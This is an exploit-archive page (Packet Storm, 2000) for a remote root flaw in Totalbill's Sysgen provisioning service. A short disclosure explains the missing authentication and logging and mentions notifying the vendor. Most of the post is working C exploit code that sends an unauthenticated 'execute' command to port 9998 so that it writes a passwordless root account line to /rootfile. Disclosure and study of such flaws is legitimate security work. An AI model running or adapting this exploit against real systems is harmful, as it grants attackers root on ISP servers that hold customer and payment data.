what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

totalbill.c

totalbill.c
Posted Aug 10, 2000
Authored by Brian Masney

Totalbill is a complete billing and provisioning system for ISPs which contains remote root vulnerabilities.

tags | exploit, remote, root, vulnerability
SHA-256 | 6eccd079ce9e4448c67abb2c3b60374644fb7bf4faed59fe18628ecd8b704e95

totalbill.c

Change Mirror Download
   Totalbill is a complete billing and provisioning system for ISPs, and
it's written by Aptis Software (www.aptissoftware.com). There is one part
of it that sits on your mail and radius servers called Sysgen that listens
on a port (sometimes 9998, but it usually varies), and it allows the
incoming provisioning requests to be handled. Well, the problem is it
doesn't do any logging on the incoming connections, doesn't do ANY kind of
authentication, and it will let you run any program as root remotely
without it being logged. I notified Aptis about this problem back in
November 1999, and they haven't released an update yet. Obviously,
security must not be a top priority for them...

Also, I never did get to verify this, but it looks like cc_queue (handles
credit card transactions) is vulnerable to buffer overflows as well. I
would suggest start firewalling some of these ports...

And now for the code... It'll just create a file called /rootfile on your
machine, and no logging will have taken place.

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */

int main (void)
{
struct sockaddr_in servaddr;
char *tempstr, buf[8192];
struct hostent *host;
int sockfd;

if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr, "Error: Could not create a socket: %s\n",
strerror (errno));
return (1);
}
memset (&servaddr, 0, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (TOTALBILL_PORT);

if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
{
fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
return (1);
}

memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
{
fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
strerror (errno));
return (1);
}
tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
{
fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
return (1);
}
printf ("Sent...waiting for response...\n");
if (read (sockfd, buf, sizeof (buf)) < 0)
{
fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
return (1);
}
printf ("Received %s from server\n", buf);
close (sockfd);
return (0);
}


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close